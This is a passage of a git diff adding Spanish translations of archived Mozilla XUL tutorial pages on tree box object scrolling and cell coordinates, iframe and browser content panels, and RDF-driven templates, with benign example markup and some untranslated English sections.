+<p>The <code>doScroll()</code> function gets the box object and calls the <code>scrollToRow()</code> function with an argument set to the value of the textbox. You might notice that the tree box object can be retieved in the same way as other box objects using the <a class="external" href="http://www.xulplanet.com/references/objref/BoxObject.html">boxObject</a> property, however we need to call <code>QueryInterface()</code> to cast the box object to the more specific tree box object. The functions of the more general box object are also available to trees.</p>
+
+<p>Additional scroll methods include the <code>scrollByLines()</code>, <code>scrollByPages()</code> and <code>ensureRowIsVisible()</code> functions.</p>
+
+<p>The <code>scrollByLines()</code> scrolls up or down by a certain number of rows. Use a positive number to go down and a negative number to go up. The <code>scrollByPages()</code> function scrolls by a number of pages and is called automatically when the user presses the page up or page down keys while the tree is focused. A page is equal to the number of visible rows. For example if the tree shows 10 rows at a time, a page will be equivalent to 10 rows. This is a convenient method since when the user resizes a flexible tree, the page size will grow and shrink, so you don't need to calculate the page size manually. This isn't too hard to calculate manually anyway since the tree box object also provides a <code>getPageLength()</code> function which returns the number of rows in a page. In the scrolling example above, <code>getPageLength()</code> would return four.</p>
+
+<div class="note">
+<p>Note that in Firefox 1.0 and Mozilla 1.7 and earlier, the <code>getPageLength()</code> function is called <code>getPageCount()</code> instead. The name was changed to <code>getPageLength()</code> since it was confusing before since it doesn't return the number of pages, but the size of each page. You could determine the number of pages by dividing the total number of rows by the page length.</p>
+</div>
+
+<p>The <code>ensureRowIsVisible()</code> function will scroll to a row just as <code>scrollToRow()</code> does, but does not scroll if the row is already visible.</p>
+
+<h3 id="Coordenadas_de_celda" name="Coordenadas_de_celda">Coordenadas de celda</h3>
+
+<p>Some of the most interesting functions of the tree box object are several functions which may be used to get the parts of the tree at specific coordinates and vice versa.</p>
+
+<ul>
+ <li>The <code>getCellAt()</code> function may be used to get the cell at specific pixel location</li>
+ <li>The <code>getRowAt()</code> function may be used to get a row at a specific location. The <code>getRowAt()</code> function takes two arguments, the x and y coordinates to use.</li>
+</ul>
+
+<pre>tree.boxObject.getRowAt( 50, 100 );
+</pre>
+
+<p>This example will return the index of the row with a horizontal position of 50 and a vertical position of 100. Naturally, it doesn't really matter what the value of the x coordinate is since rows always take up the entire horizontal space of the tree.</p>
+
+<div class="note">One important thing to note is that the coordinates are measured from the upper left corner of the containing document, not the edge of the tree itself.</div>
+
+<p>This makes it easy to pass event coordinates directly to these functions, as in the following example of the <code>getCellAt()</code> function.</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeboxobject_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeboxobject_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;script&gt;
+function updateFields(event){
+  var row = {}, column = {}, part = {};
+  var tree = document.getElementById("thetree");
+
+  var boxobject = tree.boxObject;
+  boxobject.QueryInterface(Components.interfaces.nsITreeBoxObject);
+  boxobject.getCellAt(event.clientX, event.clientY, row, column, part);
+
+  if (column.value &amp;&amp; typeof column.value != "string")
+    column.value = column.value.id;
+
+  document.getElementById("row").value = row.value;
+  document.getElementById("column").value = column.value;
+  document.getElementById("part").value = part.value;
+}
+&lt;/script&gt;
+
+&lt;tree id="thetree" flex="1" onmousemove="updateFields(event);"&gt;
+  &lt;treecols&gt;
+    &lt;treecol id="utensil" label="Utensil" primary="true" flex="1"/&gt;
+    &lt;treecol id="count" label="Count" flex="1"/&gt;
+  &lt;/treecols&gt;
+  &lt;treechildren&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="Fork"/&gt;
+        &lt;treecell label="5"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="Knife"/&gt;
+        &lt;treecell label="2"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="Spoon"/&gt;
+        &lt;treecell label="8"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;
+
+&lt;label value="Row:"/&gt;
+&lt;label id="row"/&gt;
+&lt;label value="Column:"/&gt;
+&lt;label id="column"/&gt;
+&lt;label value="Child Type:"/&gt;
+&lt;label id="part"/&gt;
+</pre>
+
+<p>The <code>getCellAt()</code> function takes five arguments, the coordinates to look up and three out parameters. An out parameter is used since the function needs to return more that one value. You will see a number of interfaces that use out parameters in the <a class="external" href="http://www.xulplanet.com/references/objref/">XULPlanet object reference</a>. These are indicated by the word 'out' before the argument. For these, you will need to supply an empty object and the function will fill in the 'value' property with the necessary value.</p>
+
+<p>The three out parameters will be filled in with the row, the column and a child type. The row is the index of the row the mouse is over, since we call it with the event coordinates of a <code>mousemove</code> event. If the coordinate is not over a row, the row value will be set to -1. The column is a column object in Mozilla 1.8 and later. In earlier versions, columns are identified with a string, the id of the column. In later versions, a separate column object exists, which can be queried for column data.</p>
+
+<p>The following line is used so that the example above will work in all versions.</p>
+
+<pre>if (column.value &amp;&amp; typeof column.value != "string")
+  column.value = column.value.id;
+</pre>
+
+<p>If the column is a string, we are running on Mozilla 1.7 or earlier, but for later versions we get the column id from the column object. If you are writing code for multiple versions, you should check for this as above.</p>
+
+<p>The last argument to <code>getCellAt()</code> is the child type which is filled in with a string depending on what part of the cell the coordinate is at. If you move the mouse around in the previous example, you might notice the label change between 'text' and 'cell'. The value 'text' indicates the area where the text would be drawn and the value 'cell' indicates the area around the text, for example, the margin on the left side where the open and close twisties are normally drawn. If there was a twisty, however, the value would be 'twisty' instead. This is convenient since you could determine whether the user clicked on a twisty instead of another part of the row. In fact, this is what the underlying tree code does when the user double clicks the twisty. The final value that may be returned is 'image' if there is an image in the tree cell and the coordinate corresponds to a location where the image is. Of course, in many cases you may not care what part of the cell the coordinate is on and just want the row and column.</p>
+
+<p>To go in reverse and get the cell at a specific coordinate, use the <code>getCoordsForCellItem()</code> function. It takes seven arguments, as described below.</p>
+
+<pre>var x = {}, y = {}, width = {}, height = {};
+if (typeof tree.columns != "undefined") column = tree.columns[column];
+tree.boxObject.getCoordsForCellItem( row, column, part, x, y, width, height );
+</pre>
+
+<p>The row, column, and part arguments are similar to those returned from the <code>getCellAt()</code> function. Again, the column should be either a string or a column object depending on which version you are using. The cell part type may be used to get the coordinates of either the text, the entire cell, the twisty or the image in the cell. The same values as the <code>getCellAt()</code> function are used. The <code>getCoordsForCellItem()</code> function returns the x and y coordinates in addition to the width and height, all as out parameters.</p>
+
+<p>Next, we'll look at RDF which can be used to automatically populate trees and other elements.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Detalles_de_Vistas_de_un_árbol" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Introducción_a_RDF">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/paneles_de_contenidos/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/paneles_de_contenidos/index.html
new file mode 100644
index 0000000000..3be2bfc904
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/paneles_de_contenidos/index.html
@@ -0,0 +1,48 @@
+---
+title: Paneles de contenidos
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Paneles_de_contenidos
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Content_Panels
+---
+<p> </p>
+<p>En esta sección veremos como crear paneles capaces de mostrar páginas HTML o XUL.</p>
+<h3 id="A.C3.B1adiendo_marcos" name="A.C3.B1adiendo_marcos">Añadiendo marcos</h3>
+<p>Hay veces en que queremos tener parte de un documento cargado desde una página separada. Como por ejemplo en los dialogos guiados paso a paso, en los que pasamos secuencialmente de una pantalla a otra, preguntando una serie de preguntas. Cada vez que el usuario hace clic en el boton ‘siguiente’, la siguiente pantalla se muestra.</p>
+<p>Se podrían crear estos dialogos guiados abriendo una ventana para cada pantalla, sin embargo hay almenos tres problemas con esta aproximación. Primero, cada ventana podría aparecer en un sitio diferente (aunque hay formas de evitarlo). Segundo, algunos elementos como los botones ‘atrás’ y ‘siguiente’ son siempre iguales durante todas las pantallas, por lo que sería mucho mejor si solo el área de contenidos fuera la que cambiara. Tercero, sería dificil coordinar los scripts si se ejecutarán en diferentes ventanas.</p>
+<p>Cabe destacar que XUL nos ofrece el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_wizard.html">wizard</a></code>, que podemos usar para crear dialogos guiados. Este elementos se explicará más adelante.</p>
+<p>Otra aproximación es usar marcos de contenido, el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_iframe.html">iframe</a></code> en XUL, el cual funciona practicamente igual que el elemento del mismo nombre en HTML. Crea un documento separado dentro de la ventana. Tiene la ventaja de que puede colocarse en cualquier parte de la ventana y de que su contenido puede guardarse en un fichero separado. Podemos decidir que fichero queremos que se muestre usando el atributo <code>src</code>. Este fichero puede ser de cualquier tipo, aunque normalmente usaremos ficheros HTML o XUL. Podemos cambiar los contenidos de un <code>iframe</code>, sin afectar a la ventana principal, usando un script.</p>
+<p>En la ventana del navegador Mozilla, el área donde se muestra la página web se crea usando un <code>iframe</code>. Cuando el usuario introduce una dirección o hace clic en un enlace del documento, el atributo src del iframe es cambiado.</p>
+<p>El siguiente ejemplo muestra el uso de los marcos de contenido:</p>
+<h4 id="Ejemplo_Usando_iframe" name="Ejemplo:_Usando_iframe">Ejemplo: Usando <code>iframe</code></h4>
+<pre>&lt;toolbox&gt;
+  &lt;toolbar id="nav-toolbar"&gt;
+    &lt;toolbarbutton label="Atrás"/&gt;
+    &lt;toolbarbutton label="Siguiente"/&gt;
+    &lt;textbox id="urlfield"/&gt;
+  &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+
+&lt;iframe id="contenidos" src="http://www.mozilla.org" flex="1"/&gt;
+</pre>
+<p>Este ejemplo presenta el interfaz para un navegador web muy simple. Hay dos elementos principales, un <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_toolbox.html">toolbox</a></code> (contenedor para barras de herramientas) y un <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_iframe.html">iframe</a></code> (marco de contenidos). Los botones Atrás y Siguiente, así como la caja de texto para la dirección se han incluido en una barra de herramientas. Las páginas web aparecerían dentro del elemento <code>iframe</code>, en este caso la página de la fundación Mozilla sería la que aparecería por defecto.</p>
+<p>Este ejemplo no es completamente funcional. Posteriormente, necesitaremos adicionar un script el cual cambia el atributo en el tiempo deseado, por ejemplo cuando el usuario presiona la tecla Enter.</p>
+<h3 id="Browsers" name="Browsers">Browsers</h3>
+<p>There is a second type of content panel, using the <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_browser.html">browser</a></code> tag. You would use this when you want to create a frame that displays content like a browser. Actually, the iframe can do this too, but the browser has a variety of additional features. For example, the browser maintains a page history for use with Back and Forward buttons. The <code>browser</code> can also load pages with referers and other flags. Essentially, the <code>browser</code> tag should be used when you want to create a browser-like interface, but the <code>iframe</code> may be used when you just need a simple panel.</p>
+<p>A similar element, <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_tabbrowser.html">tabbrowser</a></code>, provides the functionality of <code>browser</code> but also provides a tab bar for switching between multiple pages. This is the widget used by the Mozilla browser for its tabbed browsing interface. The <code>tabbrowser</code> element is actually implemened as a <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_tabbox.html">tabbox</a></code> containing a set of <code>browser</code> elements. Both types of browser offer similar control over pages that are displayed.</p>
+<p>Here is an example browser:</p>
+<h4 id="Example" name="Example">Example</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_cpanels_2.xul">Ver en funcionamiento</a></p>
+<pre>&lt;browser src="http://www.mozilla.org" flex="1"/&gt;
+</pre>
+<p>As with the iframe, you can specify the url in a browser using the <code>src</code> attribute. For a <code>tabbrowser</code>, you cannot set the url directly like this, as it doesn't display just one url. Instead, you must use a script and call the <code>loadURI</code> function.</p>
+<p>There are three classes of browser, depending on the kind of content that you want to display inside. The type may be specified using the <code>type</code> attribute. The first type is the default and is used if you don't specify a type. In this case, the content loaded inside the browser is treated as if it was part of the same application and has access to the outer window. That means that when a script loaded inside the browser tries to get the topmost window, it will get the outer XUL window.</p>
+<p>This would be suitable for a child XUL panel that is part of your application, but this isn't what you want for a browser that loads a web page. Instead, you would want to restrict the web page to only getting access to the web page content. You might note that a Mozilla browser window has XUL content for the toolbars and statusbar and so forth with a <code>tabbrowser</code> forming the main area. This inner area displays a web page, but the web page cannot access the XUL around it. This is because it uses the second type of browser, specified by setting the <code>type</code> attribute to the value <code>content</code>. This prevents the content from traversing up to the XUL window. An example:</p>
+<pre>&lt;browser src="http://www.mozilla.org" type="content" flex="1"/&gt;
+</pre>
+<p>It is important that you set the <code>type</code> attribute correctly if you are going to be displaying remote web sites inside the <code>browser</code> element. The <code>tabbrowser</code> sets the content type automatically on all tabbed browsers that it creates. So you don't have to set this explicitly for tabbed browsers.</p>
+<p>The third type is used when your window contains multiple browser elements, for example if you have a sidebar displaying some extra content. Set the <code>type</code> attribute on the main <code>browser</code> element to <code>content-primary</code> to indicate that its content will be the primary content inside the window. This acts just like the <code>content</code> value except that the content inside is accessible using the XUL window's 'content' property. This makes it easy to access the content of the main browser using a script. The <code>tabbrowser</code> automatically sets the <code>type</code> attribute of whichever browser is currently visible to <code>content-primary</code>, which means that you will always be able to access the currently visible content in this way.</p>
+<p>Next, we'll look at how to create a splitter.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/plantillas/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/plantillas/index.html
new file mode 100644
index 0000000000..96b7e38150
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/plantillas/index.html
@@ -0,0 +1,191 @@
+---
+title: Plantillas
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Plantillas
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Templates
+---
+<p>En esta sección descubriremos cómo poblar elementos con datos.</p>
+
+<h3 id="Poblando_elementos" name="Poblando_elementos">Poblando elementos</h3>
+
+<p>XUL provee un método con el cual creamos elementos a partir de datos proporcionados por RDF, ya sea desde un archivo RDF o desde un origen de datos interno. Mozilla suministra muchas fuentes de datos, como ser marcadores, histórico y mensajes de correo. En la <a href="es/Tutorial_de_XUL/Fuentes_de_datos_RDF">próxima sección</a> se ofrecerán más detalles sobre esto.</p>
+
+<p>Normalmente los elementos tales como treeitem y menuitem serán poblados con datos. Sin embargo, si se desea pueden usarse otros elementos, aunque éstos son mas útiles en casos especiales. A pesar de ello comenzaremos con estos otros elementos ya que los árboles y los menús requieren mas código.</p>
+
+<p>Para permitir la creación de elementos basados en datos RDF se necesitará proporcionar una plantilla simple, la cual será duplicada por cada elemento creado. Esencialmente, se provee únicamente el primer elemento y los restantes son construidos sobre la base de éste.</p>
+
+<p>La plantilla es creada empleando el elemento <code><a href="es/XUL/Elementos/template">template</a></code> (<a class="external" href="http://www.xulplanet.com/references/elemref/ref_template.html">en</a>), dentro del mismo pueden ubicarse los elementos que se desee utilizar para cada elemento a construir. El elemento <code>template</code> debe ser colocado dentro del contenedor que contendrá los elementos construidos. Por ejemplo, si se utiliza un árbol debe colocarse el elemento <code>template</code> dentro de un elemento <code><a href="es/XUL/Elementos/tree">tree</a></code> (<a class="external" href="http://www.xulplanet.com/references/elemref/ref_tree.html">en</a>).</p>
+
+<h4 id="Ejemplo_de_plantilla_simple" name="Ejemplo_de_plantilla_simple">Ejemplo de plantilla simple</h4>
+
+<p>Tomemos un simple ejemplo donde queremos crear un botón por cada marcador de primer nivel. Mozilla ofrece una fuente de datos de marcadores por lo que ésta puede emplearse para adquirir los datos. Este ejemplo únicamente obtendrá los marcadores de primer nivel (o carpetas de marcadores) por lo que crearemos botones. Para los marcadores hijos deberemos usar un elemento que muestre datos de manera jerárquica, como un árbol o un menú.</p>
+
+<div class="note">
+<p>Tanto este ejemplo como cualquier otro que haga referencia a fuentes de datos RDF internas únicamente funcionará si se lo carga desde una URL chrome, ya que por razones de seguridad Mozilla no permite el acceso a ellas desde otras procedencias.</p>
+</div>
+
+<p>Para ver este ejemplo se necesitará crear un paquete chrome y cargar el archivo desde allí, (se puede hacer fácilmente mirando en <a href="es/Tutorial_de_XUL/Archivos_Manifest">archivos de manifiesto</a>) entonces se podrá ingresar la URL chrome en la barra de direcciones del navegador.</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+  &lt;template&gt;
+    &lt;button uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+  &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p><img alt="Image:templates1.jpg"></p>
+
+<p>Aquí se ha creado una caja vertical que contiene una columna de botones, uno por cada marcador de primer nivel. Puede verse que la plantilla contiene un solo <code><a href="es/XUL/Elementos/button">botón</a></code> (<a class="external" href="http://www.xulplanet.com/references/elemref/ref_button.html">en</a>), éste es utilizado como base para todos los botones que serán creados. En la imagen se observa que se creó un conjunto de botones, uno por cada marcador.</p>
+
+<p>Intente añadir un nuevo marcador en el navegador manteniendo la ventana de ejemplo abierta. Notará que los botones del ejemplo son inmediatamente actualizados, puede ser necesario enfocar la ventana para que se produzca este cambio.</p>
+
+<h4 id="Contenedor_y_fuentes_de_dato" name="Contenedor_y_fuentes_de_dato">Contenedor y fuentes de dato</h4>
+
+<p>La plantilla es colocada dentro de la caja vertical, la caja posee dos atributos especiales que le permiten ser utilizada para plantillas, los cuales se emplean para especificar el origen de los datos. El primer atributo de la caja es <code>datasources</code>, el cual se usa para declarar la fuente de datos RDF que proveerá los datos para crear los elementos, en éste caso <code>rdf:bookmarks</code>. Se habrá adivinado que esto significa que se utilizará la fuente de datos de marcadores, esta fuente es proveída por Mozilla. Para utilizar un origen de datos propio, en el atributo <code>datasources</code> debe especificarse la URL de un archivo RDF, tal como se indica en el siguiente ejemplo:</p>
+
+<pre>&lt;box datasources="chrome://zoo/contenidos/animales.rdf"
+     ref="http://www.algun-zoo-ficticio.com/todos-los-animales"&gt;
+</pre>
+
+<p>Incluso pueden especificarse múltiples fuentes de datos al mismo tiempo separándolas con un espacio en el valor del atributo. Esto puede aprovecharse para mostrar datos desde varios orígenes.</p>
+
+<p>El atributo <code>ref</code> indica la parte de la fuente de datos desde donde se quiere obtener los datos. En el ejemplo de los marcadores, el valor <code>NC:BookmarksRoot</code> es utilizado para indicar la raíz de la jerarquía de marcadores. Otros valores posibles dependerán del origen de datos utilizado, si se utiliza un archivo RDF propio como origen de datos, el valor corresponderá al valor de un atributo <code>about</code> en un elemento <code>Bag</code> RDF, un elemento <code>Seq</code> o un elemento <code>Alt</code>.</p>
+
+<h4 id="Dentro_de_la_plantilla" name="Dentro_de_la_plantilla">Dentro de la plantilla</h4>
+
+<p>Al añadir estos dos atributos a la caja de arriba se permitirá la generación de elementos utilizando la plantilla. Sin embargo, los elementos dentro de la plantilla necesitan ser declarados de otra forma. En el ejemplo anterior puede observarse que el botón posee un atributo <code>uri</code> y un valor inusual para el atributo <code>label</code>.</p>
+
+<p>El valor de un atributo dentro de la plantilla que comience con 'rdf:' indica que el valor debe ser obtenido de la fuente de datos, éste es el caso del atributo <code>label</code> en el ejemplo anterior. El resto del valor hace referencia a la propiedad name en la fuente de datos. Esto se construye tomando la URL del área de denominación utilizada por la fuente de datos y agregando la propiedad name. Si no puede comprender esto intente volver a leer la última parte de la <a href="es/Tutorial_de_XUL/Introducci%c3%b3n_a_RDF">sección anterior</a>, la cual explica cómo se pueden referenciar los recursos en RDF. Aquí usamos únicamente el nombre del marcador pero hay muchos otros campos disponibles.</p>
+
+<p>La etiqueta de los botones es fijada a esta URI especial ya que queremos que las etiquetas en los botones contengan los nombres de los marcadores. Podríamos haber puesto una URI en cualquiera de los atributos del botón, o de cualquier otro elemento. Los valores de estos atributos son reemplazados con datos alimentados por la fuente de datos la cual es, en éste caso, la de marcadores. Por ello terminamos con las etiquetas de los botones conteniendo los nombres de los marcadores.</p>
+
+<p>El siguiente ejemplo muestra cómo podríamos establecer otros atributos de un botón empleando una fuente de datos. Naturalmente, esto asume que la fuente de datos provee los recursos apropiados. Si un recurso en particular no puede ser encontrado el valor del atributo será una cadena de texto vacía.</p>
+
+<pre>&lt;button class="rdf:http://www.ejemplo.com/rdf#clase"
+        uri="rdf:*"
+        label="rdf:http://www.ejemplo.com/rdf#name"/&gt;
+        crop="rdf:http://www.ejemplo.com/rdf#crop"/&gt;
+</pre>
+
+<p>Como puede verse, es posible generar listas de elementos dinámicamente con los atributos proporcionados por un origen de datos diferente. El atributo uri es empleado para especificar el elemento a partir del cual se iniciará la generación de contenido. El primer contenido se generará una vez mientras que el contenido en el interior será generado para cada recurso. Veremos más de esto al crear <a href="es/Tutorial_de_XUL/%c3%81rboles_y_plantillas">plantillas para árboles</a>.</p>
+
+<h4 id="M.C3.A1s_ejemplos" name="M.C3.A1s_ejemplos">Más ejemplos</h4>
+
+<p>Al agregar estas características en el contenedor dentro del cual se encuentra la plantilla, que es en este caso una caja, y a los elementos dentro de la plantilla, podremos generar listas de contenido interesantes a partir de datos externos. Claro que podemos poner más de un elemento dentro de una plantilla y añadir las referencias RDF especiales a los atributos en cualquiera de estos elementos. El siguiente ejemplo lo demuestra.</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+  &lt;template&gt;
+    &lt;vbox uri="rdf:*"&gt;
+      &lt;button label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+      &lt;label value="rdf:http://home.netscape.com/NC-rdf#URL"/&gt;
+    &lt;/vbox&gt;
+  &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p>Esto crea una caja vertical con un botón y una etiqueta por cada marcador. El botón tendrá el nombre del marcador y la etiqueta su URL.</p>
+
+<p>Los elementos que son creados no son funcionalmente diferentes a aquellos insertados directamente en el archivo XUL. Para cada elemento creado a través de una plantilla se añadirá el atributo id, el cual tendrá un valor que identifica el recurso. Esto puede emplearse para identificar el recurso creado.</p>
+
+<p>También es posible especificar en el mismo atributo múltiples valores de recurso separándolos con un espacio, igual que en ejemplo debajo y en <a class="external" href="http://www.xulplanet.com/tutorials/xultu/templateex.html">más acerca de la sintaxis de recursos</a> (XULPlanet).</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_3.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot"
+     flex="1"&gt;
+  &lt;template&gt;
+    &lt;label uri="rdf:*" value="rdf:http://home.netscape.com/NC-rdf#Name rdf:http://home.netscape.com/NC-rdf#URL"/&gt;
+  &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+
+<h3 id="C.C3.B3mo_son_construidas_las_plantillas" name="C.C3.B3mo_son_construidas_las_plantillas">Cómo son construidas las plantillas</h3>
+
+<p>Cuando un elemento posee el atributo <code>datasources</code> se está indicando que se espera que el elemento sea construido a partir de una plantilla. Note que el rótulo <code>template</code> no es el que determina si el contenido se construirá, es el atributo <code>datasources</code>. Si este atributo está presente, un objeto llamado Builder (constructor) se añadirá al elemento. Este objeto es el responsable de construir el contenido a partir de la plantilla. En JavaScript puede accederse al objeto constructor mediante la propiedad <code>builder</code>, aunque normalmente esto será necesario solo si se desea que el constructor regenere el contenido en situaciones donde esto no se haga automáticamente.</p>
+
+<p>Existen dos tipos diferentes de constructores. El primero es un constructor de contenidos y se utiliza en la mayoría de los casos, y el otro es un constructor de árboles que se usa únicamente para árboles.</p>
+
+<p>El constructor de contenidos toma el contenido dentro del elemento template y lo duplica por cada fila. Por ejemplo, si en el ejemplo anterior el usuario tenía diez marcadores, diez elementos <code><a href="es/XUL/Elementos/label">label</a></code> (<a class="external" href="http://www.xulplanet.com/references/elemref/ref_label.html">en</a>) serán creados y añadidos al elemento <code><a href="es/XUL/Elementos/vbox">vbox</a></code> (<a class="external" href="http://www.xulplanet.com/references/elemref/ref_vbox.html">en</a>). Si se utilizaran funciones DOM para recorrer el árbol, podrán encontrarse estos elementos y ver sus propiedades. Los elementos serán visibles pero no la plantilla, aunque aún existe en el documento árbol. Además, la <code>id</code> de cada una de las etiquetas se establecerá con el recurso RDF para esa fila.</p>
+
+<p>Este constructor siempre comienza en el lugar donde se ha especificado uri=“rdf:*�?. Si el atributo <code>uri</code> en un elemento posterior al elemento árbol, los elementos fuera se crearán una sola vez. En el siguiente ejemplo se creará una caja horizontal (<code><a href="es/XUL/Elementos/hbox">hbox</a></code>), la cual será llenada con una etiqueta por cada ítem.</p>
+
+<pre>&lt;template&gt;
+  &lt;hbox&gt;
+    &lt;label uri="rdf:*" value="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+  &lt;/hbox&gt;
+&lt;/template&gt;
+</pre>
+
+<p>Si hubiera otros contenidos dentro del elemento con el atributo <code>datasources</code> pero fuera de la plantilla, ésos contenidos también aparecerán. Así puede mezclarse contenidos estáticos y contenidos dinámicos de una plantilla.</p>
+
+<h4 id="Constructor_de_.C3.A1rbol" name="Constructor_de_.C3.A1rbol">Constructor de árbol</h4>
+
+<p>El constructor de árboles, por otro lado, no genera los elementos DOM para las filas. En cambio, obtendrá la información directamente de la fuente de datos RDF cuando la necesite. Ya que usualmente se espera que los árboles muestren miles de filas de datos, este método es mucho más eficiente. Crear un elemento por cada celda sería muy costoso. Sin embargo, el trueque es que los árboles únicamente pueden mostrar texto y, como no se crean elementos, no podrán utilizarse propiedades CSS para diseñar celdas de árboles.</p>
+
+<p>El constructor de árboles se utiliza solamente con árboles. Los otros elementos utilizan el constructor de contenido. Esto no causa problema alguno, ya que no se prevé que otros elementos -como los menús- contengan demasiados ítems. También es posible utilizar el constructor de contenido con los árboles, y por cada fila se crearán un elemento <code><a href="es/XUL/Elementos/treeitem">treeitem</a></code> y sus elementos relacionados.</p>
+
+<h3 id="Reglas.2C_l.C3.ADneas_o_delineaci.C3.B3n" name="Reglas.2C_l.C3.ADneas_o_delineaci.C3.B3n">Reglas, líneas o delineación</h3>
+
+<p>En la imagen del anterior ejemplo se habrá notado que el tercer botón es simplemente un botón con un guión adentro, éste es un separador en la lista de marcadores. De la manera en que la venimos usando, la fuente de datos RDF de marcadores suministra los separadores como si fueran comunes marcadores. Lo que realmente querríamos lograr es mostrar un pequeño espacio en lugar de un botón para los separadores, esto significa que queremos crear dos tipos diferentes de contenido, uno para los marcadores regulares y otro para los separadores.</p>
+
+<p>Podemos hacer esto empleando el elemento <code><a href="es/XUL/Elementos/rule">rule</a></code> (<a class="external" href="http://www.xulplanet.com/references/elemref/ref_rule.html">en</a>). Definimos una regla/línea por cada variación en los elementos que queremos crear. En nuestro caso, necesitaremos un delineación para los marcadores y otro para los separadores. Los atributos puestos en el elemento <code>rule</code> determinan cuales reglas se aplican a qué recurso RDF.</p>
+
+<p>Al buscarse qué delineación aplican a los datos, cada regla es revisada en secuencia buscando coincidencias. Esto significa que el orden en que se definen las delineación es importante, ya que los primeros tendrán precedencia sobre los posteriores.</p>
+
+<p>El siguiente ejemplo demuestra el ejemplo anterior con dos reglas:</p>
+
+<p><strong>Ejemplo 4</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_4.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_4.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;window id="ventana-ejemplo
+  title="Lista de marcadores"
+  xmlns:html="http://www.w3.org/1999/xhtml"
+  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+ &lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+   &lt;template&gt;
+
+    &lt;rule rdf:type="http://home.netscape.com/NC-rdf#BookmarkSeparator"&gt;
+     &lt;spacer uri="rdf:*" height="16"/&gt;
+    &lt;/rule&gt;
+
+    &lt;rule&gt;
+      &lt;button uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+    &lt;/rule&gt;
+
+  &lt;/template&gt;
+ &lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p><img alt="Image:templates2.jpg"></p>
+
+<p>Al utilizar dos delineaciones hemos permitido que el contenido de la plantilla sea generado selectivamente. En la primer regla se seleccionan separadores de marcadores, como puede observarse en el atributo <code>rdf:type</code>. La segunda delineación no posee atributos, por lo que todos los datos corresponden.</p>
+
